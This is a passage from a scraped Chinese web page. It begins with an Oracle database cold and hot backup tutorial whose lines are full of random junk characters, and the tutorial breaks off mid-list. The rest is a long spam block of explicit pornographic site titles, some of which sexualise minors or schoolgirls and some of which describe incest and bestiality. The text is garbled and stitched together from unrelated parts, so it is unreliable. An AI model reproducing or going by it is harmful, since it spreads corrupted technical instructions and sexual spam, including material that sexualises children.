  ·所有控制文件* Q0 a  G9 b1 i1 }% L6 E
  ·所有聯(lián)機(jī)REDO LOG文件9 c: d. p1 g+ N( v- [- Z
  ·Init.ora文件(可選)* H7 V! Z  h, r7 ?, B3 n$ }5 {
  值得注意的是冷備份必須在數(shù)據(jù)庫(kù)關(guān)閉的情況下進(jìn)行,當(dāng)數(shù)據(jù)庫(kù)處于打開(kāi)狀態(tài)時(shí),執(zhí)行數(shù)據(jù)庫(kù)文件系統(tǒng)備份是無(wú)效的0 w+ |! d% t* r9 e* Y) M' F! U
  下面是做冷備份的完整例子:
  J4 y9 K7 Z+ q  {  (1) 關(guān)閉數(shù)據(jù)庫(kù)$sqldba lmode=y+ r3 i  h: ?1 B8 k6 D+ p4 ~
  SQLDBA >connect internal;
9 v* S) y. V) ^4 }  SQLDBA >shutdown normal;
8 Q6 i% c# X2 v  (2) 用拷貝命令備份全部的時(shí)間文件、重做日志文件、控制文件、初始化參數(shù)文件
' ~/ i( c8 t! m4 I. T% ^4 i  SQLDBA >! cp < file > < backup directory >: k5 R$ X5 i  r8 T
  (3) 重啟Oracle數(shù)據(jù)庫(kù)
( E" R: K, ]6 O5 O  D  $sqldba lmode=y" I* g" I9 P$ i/ F& Y
  SQLDBA >connect internal;' ]2 ]& G' }0 b4 @1 M! e- G
  SQLDBA >startup;  _5 @4 b1 Y9 B: B* C6 b8 f, y! _8 f
  <3>熱備份
1 L/ ?' M) `7 \  熱備份是在數(shù)據(jù)庫(kù)運(yùn)行的情況下,采用archivelog mode方式備份數(shù)據(jù)的方法。所以,如果你有昨天夜里的一個(gè)冷備份而且又有今天的熱備份文件,在發(fā)生問(wèn)題時(shí),就可以利用這些資料恢復(fù)更多的信息。熱備份要求數(shù)據(jù)庫(kù)在Archivelog方式下操作,并需要大量的檔案空間。一旦數(shù)據(jù)庫(kù)運(yùn)行在archivelog狀態(tài)下,就可以做備份了。熱備份的命令文件由三部分組成:
+ Q0 H! @" m+ `: _) M& L  1.數(shù)據(jù)文件一個(gè)表空間一個(gè)表空間地備份。4 C8 |, p7 p1 v; [1 O, p% E! T
  (1)設(shè)置表空間為備份狀態(tài)
* h6 A  l  {% \* g: ^/ J  (2)備份表空間的數(shù)據(jù)文件4 U5 W- b, l7 e* I/ n7 C' k
  (3)恢復(fù)表空間為正常狀態(tài)+ Z! A' _1 z& e
  2.備份歸檔log文件。
% K( H2 z# ~, U* s  (1)臨時(shí)停止歸檔進(jìn)程
, M: v& B& k6 J( a. v4 K- ^  (2)log下那些在archive redo log目標(biāo)目錄中的文件
1 y9 h3 R/ v" F' A3 v4 m  y0 P9 P* a  (3)重新啟動(dòng)archive進(jìn)程4 P  O8 I6 t# `: E' b
  (4)備份歸檔的redo log 文件
; F& @+ V! O4 V: m  U" X7 E, `, `- F  3.用alter database backup controlfile命令來(lái)備份拷貝文件
( x3 v" i+ l9 H  熱備份的優(yōu)點(diǎn)是:
]]>
主站蜘蛛池模板: 中国老女人内谢69xxxx | 综合精品视频 | 国产成人精品一区二区三区在线 | 51精品国自产在线 | 国产欧美日韩亚洲 | 免费看的av片| 18禁美女黄网站色大片免费看 | 被灌满精子的波多野结衣 | 精品少妇一区二区三区 | 亚洲人成手机电影网站 | 丰满熟女人妻中文字幕免费 | 五月天中文字幕mv在线 | 给我免费的视频在线观看 | 亚洲成人精品在线 | 国产一线av | 欧美国产另类 | 色在线免费 | 国产肉体ⅹxxx137大胆视频 | 色偷偷免费视频 | 人妻无码αv中文字幕久久琪琪布 | 亚洲啪啪| www.嫩草.com | 女人高潮内射99精品 | 日韩中文字幕在线播放 | www.夜夜操.com | 八区精品色欲人妻综合网 | 国产福利91精品 | 久久精品免费国产 | 亚洲激情久久久 | 亚洲va欧美va人人爽 | 又粗又大又硬毛片免费看 | 国产伦精品一区二区三区照片 | 久久亚洲伊人 | 深夜福利网址 | 永久免费网站看黄yyy45视频 | 一级免费视频 | 麻豆一级片 | 鲁一鲁一鲁一鲁一色 | 森泽佳奈作品在线观看 | 欧美亚洲伦理 | 狠狠躁夜夜躁人蜜臀av小说 | 精品国产成人一区二区三区 | 欧美肉欲k8播放毛片欧美 | 国产精品无码翘臀在线看 | 无码内射成人免费喷射 | 亚洲欧美日韩精品suv | 国产精品久久久久久av | 国产精品国产对白熟妇 | wwwav在线视频 | 欧美精品一区二区三区在线 | 蜜臀av性久久久久蜜臀aⅴ流畅 | 精品久久久久久久久久久久包黑料 | 国内少妇偷人精品免费 | 四虎在线精品 | 男女裸交免费无遮挡全过程 | 国产丝袜一区二区三区 | www.啪啪.com | 人妻在线日韩免费视频 | 帮老师解开蕾丝奶罩吸乳网站 | 狠狠88综合久久久久综合网 | 一本色道久久99一综合 | 中年两口子高潮呻吟 | 一级做a爰片欧美激情床 | 国产中文字字幕乱码无限 | 欧美日韩毛片 | 精品一区三区 | 97高清国语自产拍 | 六个黑人玩一个中国少妇视频 | 黄色a一级视频 | 色一情一乱一乱一区99av白浆 | 国产在线观看一区二区三区 | 经典三级久久 | 蜜桃视频网站 | 天天操天天看 | 男人的天堂在线视频 | 国产精品免费麻豆入口 | 成人一区二区视频 | 成人做爰69片免费观看 | 久久国产高清 | 拍拍拍产国影院在线观看 | 爱情岛论坛av首页 | 少妇高潮灌满白浆毛片免费看 | 日本a级c片免费看三区 | 在线观看欧美亚洲 | 国产精品自在线拍国产手机版 | 久久久久久国产精品免费免费 | 人与动物黄色片 | 无码国产色欲xxxx视频 | 瑜伽美女健身视频集锦 | 欧美日韩偷拍视频 | 色一情一乱一乱一区99av白浆 | 中文字幕日本在线观看 | 少妇啊灬啊别停灬用力啊免费视频 | 2019亚洲日韩新视频 | 91亚洲乱码卡一卡二卡新区豆瓣 | 国产高中女学生第一次 | 少妇黄色一级片 | 国产高清一区二区三区 | 日本三级三级三级三级 | 亚洲男人的天堂av | 综合网天天 | 国产精品日韩欧美一区二区三区 | 国产一区综合 | 国产在线无码视频一区二区三区 | 欧美日韩精品一区二区三区四区 | 一本色道综合久久欧美日韩精品 | 国产在线观看中文字幕 | 亚洲国产精品成人综合色在线婷婷 | 国产性―交―乱―色―情人 | 在线观看一区二区三区av | av福利在线看 | 91吃瓜今日吃瓜入口 | 青青在线| 精品视频免费看 | 亚洲中文字幕无码爆乳 | 国产伦精品一区二区三区四区 | 国产精品丝袜在线 | 欧美大尺度做爰啪啪床戏明星 | 自拍亚洲综合 | 日本丰满熟妇videossex | 亚洲成a人v欧美综合天堂 | 四虎精品成人免费网站 | 蜜桃成人在线 | 艳妇臀荡乳欲伦交换日本 | 午夜精品一区二区三区免费视频 | 被灌满精子的波多野结衣 | 亚洲色大成网站www久久九九 | 欧美色欧美 | 色情无码www视频无码区小黄鸭 | 欧美亚洲一级 | 农村村妇真实偷人视频 | www.成人免费视频 | 亚洲色成人www永久网站 | 99精品视频一区二区三区 | 国产成人av免费 | 337p日本欧洲亚洲大胆裸体艺术 | 亚欧美一区二区三区 | 亚洲狼人天堂 | 欧美精品18 | 成年免费视频黄网站zxgk | 久久精品中文騷妇女内射 | 久久五月视频 | 天天干天天日夜夜操 | 久久久久久久久91 | 青草久久久 | 男人j进入女人j内部免费网站 | 国产又粗又硬又大爽黄老大爷视 | a亚洲天堂 | 美女黄色毛片视频 | 亚洲人成影院在线无码按摩店 | 久久精品一区二区三区av | 欧洲黄色毛片 | 免费观看av网站 | 丰满老女人乱妇dvd在线播放 | 成人免费一级 | 亚洲国产成人久久综合一区,久久久国产99 | 野花社区在线观看视频 | jizz日本18 | 在线观看精品视频网站 | 欧美黄色免费观看 | 99在线视频免费观看 | 国产毛片久久久久久国产毛片 | 一本岛高清乱码2020叶美 | 国产高清一区二区三区视频 | 韩国美女vip内部1101福利 | 日本毛片网站 | 免费一级a毛片夜夜看 | 欧美成人免费全部 | 公妇乱淫太舒服了 | 色综合久久网 | 东北农村老女人乱淫视频毛片 | 国产多p混交群体交乱 | 蜜桃臀久久久蜜桃臀久久久蜜桃臀 | 99久久久精品国产一区二区 | 日韩欧美一级大片 | 久久久久久久国产视频 | 国产综合精品一区二区三区 | 国产精品美女www爽爽爽三炮 | 99久久精品免费看国产四区 | 免费黄色特级片 | 九色蜜桃臀丨porny丨自拍 | 狠狠色丁香婷婷久久综合不卡 | 97se亚洲国产综合自在线观看 | 精品国产一区二区三区不卡蜜臂 | 亚洲自拍另类 | 全部免费毛片在线播放 | 国产一级免费片 | 另类综合小说 | 日本久久久久久科技有限公司 | 国产女王调脚奴免费视频 | 国产一区二区三区视频 | 国产亚洲片 | 成人羞羞在线观看网站 | av成人天堂| 在线观看www视频 | 午夜精品福利一区二区蜜股av | jizz久久精品永久免费 | 欧美日韩亚洲国产 | 久操精品在线 | 久久精品国产99精品国产亚洲性色 | 四虎影库| 在线99视频| 国产乱肥老妇国产一区二 | 孕期1ⅴ1高h | www国产国人免费观看视频 | 色婷婷综合久久久久中文一区二区 | 国产免费午夜福利757 | 欧美精品一区二区三区久久久竹菊 | 91麻豆免费视频 | 成人天堂视频理伦片 | 无码aⅴ精品一区二区三区 45分钟免费真人视频 | 色窝窝无码一区二区三区 | 一区二区三区久久 | 亚洲第一色网 | 欧美肥妇bwbwbwbxx | 亚洲国产成人在线 | 国产精品午夜在线观看 | 国产精品久久久久久 | 国产一级淫片a级aaa | 日韩一卡2卡3卡4卡2021免费观看国色天香 | 色综合色综合久久综合频道88 | 成人做受视频试看60秒 | 国产高潮白浆 | 伊人久久大香线蕉av一区二区 | 欧美大片免费观看网址 | 国产在线精品无码二区 | 激情 欧美 偷拍 | 国产精品中文字幕在线 | 欧美人与动物xxxxz0oz | 亚洲精品乱码久久久久久金桔影视 | 岛国av在线不卡 | 182tv在线观看免费午夜免费线路 | 涩av| 96国产视频 | 国产视频一二三区 | 91久久国产综合精品女同国语 | 国产丝袜视频一区二区三区 | 国产三级高清一区二区 | 久久影视传媒 | 成人黄色在线观看 | 被灌满精子的波多野结衣 | 久久狠狠高潮亚洲精品 | 亚洲综合伊人久久大杳蕉 | 日本精品一二三 | 男女18禁啪啪无遮挡激烈网站 | 国产精品网站在线 | 一级做受大片免费视频 | 亚洲视频第一页 | 在线成人影视 | 国产l精品国产亚洲区在线观看 | 麻豆视频在线 | 手机在线观看日韩av | 婷婷五月五| 久久久av波多野一区二区 | 成人网入口 | 久久91精品国产91久久久 | 成人一卡二卡 | xxxxxxxx黄色片 | 国产国语亲子伦亲子 | 三个熟睡少妇的按摩中文字幕 | 久久夜色噜噜噜av一区二区 | 欧美国产二区 | 国产区日韩区欧美区 | 无套内谢大学处破女福利 | 熟女熟妇伦av网站 | 久久九色综合九色99伊人 | 丝袜 亚洲 欧美 日韩 综合 | 亚洲超丰满肉感bbw 亚洲超碰在线 | 久青草国产在视频在线观看 | 国产精品黄色网 | 亚洲国产精品日本无码网站 | 国产精品麻豆欧美日韩ww | 国产精品一区久久久 | 亚洲国产成人精品女人久久 | 韩国美女视频黄是免费 | 人妻少妇被猛烈进入中文字幕 | 永久免费不卡在线观看黄网站 | 嫩草视频在线观看免费 | 青草青草久热国产精品 | 黄色片网站国产 | av激情四射 | 亚洲女人天堂网 | 未满成年国产在线观看 | 国产-第1页-浮力影院 | 国产99久久久国产精品 | 黑人大战中国av女叫惨了 | 久热国产精品视频 | 天堂国产一区二区三区 | 久久久午夜爽爽一区二区三区三州 | 婷婷丁香综合色 | 亚洲码国产日韩欧美高潮在线播放 | 亚洲 a v无 码免 费 成 人 a v | 婷婷干| 性一交一乱一伦视频免费观看 | 91日日| 丝袜av在线播放 | 亚洲午夜精品一区二区 | 亚洲精品毛片一区二区三区 | 777久久久免费精品国产 | 真人抽搐一进一出视频 | 九九九九精品 | 色在线免费 | 亚洲精品网站在线播放gif | 久久色av| 国产精品69久久久久水密桃 | 国产极品美女到高潮 | 日韩少妇高潮抽搐 | 日本综合久久 | 国产做受蜜臀 | 欧美三日本三级少妇99 | 红杏出墙记免费看 | 天天天操天天天干 | 色午夜一av男人的天堂 | 99精品视频九九精品视频 | 国变精品美女久久久久av爽 | 国产精品一区在线观看你懂的 | 91久久久久 | 日本 欧美 制服 中文 国产 | 国产特级乱淫免费看 | 夜夜操狠狠干 | 青青青国产精品一区二区 | 精品国产18久久久久久怡红 | 狠狠躁夜夜躁人人爽天天5 中国china露脸自拍性hd | 嫩草影院中文字幕 | 光明影院手机版在线观看免费 | 拔萝卜在线 | 国产男女猛烈无遮掩视频免费网站 | 亚洲美女又黄又爽在线观看 | 最近中文字幕mv免费高清在线 | 91在线观看视频网站 | 四虎4hu永久免费 | 国产成人久久精品二区三区 | 中文字幕在线精品 | 中文字幕25页 | 精品国产综合区久久久久久 | 国产交换配乱淫视频a免费 国产精成人品免费观看 | 亚洲精品一区二区三区丝袜 | 久久婷婷麻豆国产91天堂 | 欧美成人激情 | 中文字幕无码一区二区免费 | 日韩视频 中文字幕 视频一区 | 色诱视频在线观看 | 欧美成人高清在线 | 亂倫近親相姦中文字幕 | 毛片链接| 亚洲成av人乱码色午夜 | 麻豆专区一区二区三区四区五区 | 精品国产午夜 | 日韩一级免费毛片 | 日本韩无专砖码高清 | 台湾女老板性三级 | 久久久国产精品免费 | 天天cao| 四虎影视国产精品免费久久 | 免费午夜爽爽爽www视频十八禁 | 国产免费一区二区三区最新6 | 欧美日韩激情视频在线观看 | 欧美黄在线观看 | 亚洲精品在线视频免费观看 | 午夜在线观看一区 | 五月激情网站 | 超h高h肉h文教室学长男男视频 | 欧美成人三级在线 | 女人裸体性做爰视频 | 久久久成人免费视频 | 在线а√天堂中文官网 | 国产裸体视频bbbbb | 最爽无遮挡行房视频 | 99在线观看 | 午夜免费观看视频 | 日本青草视频 | 日韩综合av | 91久久亚洲 | 国产爆乳无码av在线播放 | 亚洲日本欧美日韩中文字幕 | 国产人妻人伦精品 | 欧美孕妇xxxx做受欧美88 | 国产精品最新乱视频二区 | 成人一区二区免费视频 | 亚洲色图20p | 久久精品福利 | 一区二区三区四区在线视频 | 制服丝袜中文字幕在线 | 黄色片中文字幕 | 护士人妻hd中文字幕 | 久久久精品在线 | 91精品国产乱码久久蜜臀 | 2021国产自在自线免 | 国产69精品久久99的软件特点 | 成人免费影视网站 | 91pony九色丨交换 | 免费看男女做爰爽爽视频 | 国产做爰xxxⅹ久久久精华液 | 中文字幕第10页 | zzijzzij亚洲日本成熟少妇 | 一级a爰片久久毛片 | 成人二三区 | 四川丰满少妇毛片新婚之夜 | 国产又黄又骚 | 国产精品日日摸夜夜添夜夜av | 无码中文字幕av免费放 | 天天干天天干天天干 | 一 级 黄 色 片免费网站 | 精品国产区一区二 | 91.xxx.视频 | 日日夜操 | 国产精品亚洲一区二区在线观看 | 欧美疯狂做受xxxx高潮 | 91精品国产综合久久香蕉麻豆 | 天天5g天天爽免费观看 | 奇米影视欧美 | 中文免费av | 国产无人区码熟妇毛片多 | 手机国产乱子伦精品视频 | 日韩色道 | 狠狠色综合网站久久久久久久高清 | 91亚洲狠狠婷婷综合久久久 | 青草视频免费观看 | 国产无在线观看软件 | 久久精品女人天堂av免费观看 | 在线播放污| 午夜精品久久久久久毛片 | 欧美日韩精品在线视频 | 国产免国产免费 | 成人高潮片免费视频欧美 | 97国产婷婷综合在线视频 | 男女搞网站 | 一级片麻豆 | 国产成a人亚洲精v品无码性色 | 黄色一区二区三区 | 东日韩二三区 | 午夜精品久久久久久毛片 | xxhd麻豆xxhd激情视频 | 免费视频欧美无人区码 | 久久精品超碰 | 天天操天天摸天天爽 | 亚洲国产av精品一区二区蜜芽 | 精品国产色 | а√资源新版在线天堂 | 女学生处破外女出血av喊痛 | 日本美女久久久 | 免费jjzz在在线播放国产 | 男人激烈吮乳吃奶视频 | 91久久国产涩涩涩涩涩涩 | 亚洲 欧美 清纯 在线 制服 | 天堂√ | youjizz国产精品 | 九九热精品视频在线观看 | 毛片91| 在线天堂资源www在线中文 | 亚洲精品蜜桃 | 精品香蕉久久久午夜福利 | 成人看| 波多野结衣免费一区视频 | 久草在线色站 | 成人a v视频在线观看 | 天堂中文在线8 | 久久99精品久久只有精品 | 91欧美精品 | 亚洲日本va午夜中文字幕 | 婷婷伊人五月色噜噜精品一区 | 亚洲va在线观看 | 欧美三级a做爰在线观看 | 日本丰满少妇高潮呻吟 | 亚洲精品一区二区三区婷婷月 | 欧美激情欧美激情在线五月 | 久久亚洲综合网 | 中文精品一区二区三区四区 | 99久热| 欧美特级视频 | 韩国黄色精品 | 欧美一区二区三区久久综合 | 我爱avav色av爱avav亚洲 | 浪潮av一区二区三区 | 久久er99热精品一区二区 | 欧美性猛交xxx乱大交3蜜桃 | 成人午夜免费福利 | 国产成+人欧美+综合在线观看 | 女人18毛片九区毛片在线 | 婷婷色国产偷v国产偷v小说 | 一本色道久久88亚洲精品综合 | 日本美女a级片 | 久久精品视频在线免费观看 | 国产麻豆精品一区 | 久久精品成人免费国产片桃视频 | 日韩免费二区 | 成人18视频在线观看 | 国产精品传媒 | 三级性生活视频 | 在办公室被c到呻吟的动态图 | 韩日精品视频 | 69堂精品 | 日本人の夫妇交换 | 在线免费观看毛片 | 国产精品乱码一区二区三 | av片免费播放 | 偷看做性肉体探欲k8 | 色偷偷888欧美精品久久久 | 欧美久久久久 | 国产精品一区二区三区不卡 | 日韩精品视频在线观看免费 | 国产精品久久久久久久久久久久久久久久久 | 激情五月婷婷综合 | 国产精品毛片久久久久久 | 亚洲一区二区三区不卡视频 | 免费av观看网站 | 欧美精品一区二区三区制服首页 | 国产一区二区三区免费 | 中文字幕一区在线观看视频 | 欧美国产综合欧美视频 | 国产黄色精品网站 | 国产精品国产三级国产aⅴ浪潮 | 欧美xxxx少妇 | 6080理伦片午夜少妇 | 国产成人无码精品亚洲 | 国产99久久久国产精品 | 亚洲欧美日韩国产精品一区二区 | jizz免费| 激情97综合亚洲色婷婷五 | 女同精品一区二区三区在线播放器 | 999黄色片| 久草超碰 | 国产精品2| 亚洲国产aⅴ精品一区二区 亚洲国产mv | 久久婷婷五月综合色和啪 | 国产精品国产三级国产aⅴ无密码 | 亚州性色 | 亚洲精品国产精品乱码视色 | 国产成人中文字幕 | 无码av中文一区二区三区桃花岛 | av日韩国产| 伊人激情av一区二区三区 | 狠狠色综合7777久夜色撩人 | 精品国产一区二区三区日日嗨 | 亚洲a无码综合a国产av中文 | 欧美做受又硬又粗又大视频 | 中文字幕永久在线播放 | 国产伦精品一区二区三区在线 | 欧美性开放视频 | 日韩免费一区二区 | 亚洲精品国产福利 | 伊人精品| jizz性欧美5| av色图片| 久久久久99精品国产片 | 亚洲成人久 | 久久爱水蜜桃69 | 三级欧美韩日大片在线看 | 成人a v视频在线观看 | 嫩草福利视频 | 日本少妇寂寞少妇aaa | 中文字幕二十三页2 | 欧美一二在线 | 综合久久久 | 国产成人免费在线视频 | 欧美成人免费一级人片100 | 在线观看的av网址 | 手机在线播放av | 亚洲论理 | 亚洲精品久久国产高清 | 久本草在线中文字幕亚洲 | 日本一码二码三码在线 | 狠狠久久精品中文字幕无码 | 成年人视频网站 | 麻豆一区二区三区精品视频 | 秋霞在线视频观看 | 国人精品视频在线观看 | 一个人看的日本hd免费 | 精品区 | 欧美性猛交xxxx乱大交丰满 | 97超碰人人网 | 欧美成人专区 | 中文人妻无码一区二区三区信息 | zzijzzij亚洲丰满少妇 | 少妇久久人人爽人人爽人人片欧美 | 男女做激情爱呻吟口述全过程 | 久久久久久久久久久久久9999 | 狠狠色综合网站久久久久久久 | 少妇人妻无码专区在线视频 | 色综合免费 | 成年男女免费视频 | 欧美日韩精品中文字幕 | 五月99久久婷婷国产综合亚洲 | 成 年 人 黄 色 大 片大 全 | 插吧插吧网 | ass极品国模pics | 久久综合国产伦精品免费 | 无遮挡啪啪摇乳动态图gif | 羞羞视频网址 | 中国凸偷窥xxxx自由视频妇科 | 亚洲欧美精品suv | 热re99久久精品国99热 | 国产盗摄一区二区 | 九色蝌蚪porny | 日韩毛片精品 | 午夜精品成人 | 痴汉电车在线播放 | 国产xx视频 | 香蕉视频在线网站 | 亚洲最新av在线 | 成人性生交大片免费卡看 | 女女同性女同一区二区三区九色 | 黄色激情在线观看 | 制服丝袜在线视频 | 超碰在线日韩 | 中文在线a√在线8 | 99热在线观看免费 | 亚洲精品三 | 欧美又黄又粗暴免费观看 | 人人曰 | 久久久久99精品成人片试看 | 91精品一久久香蕉国产线看观看新通道出现 | 一边吃奶一边做动态图 | 丝袜捆绑调教午夜一区二区 | www一区二区www免费 |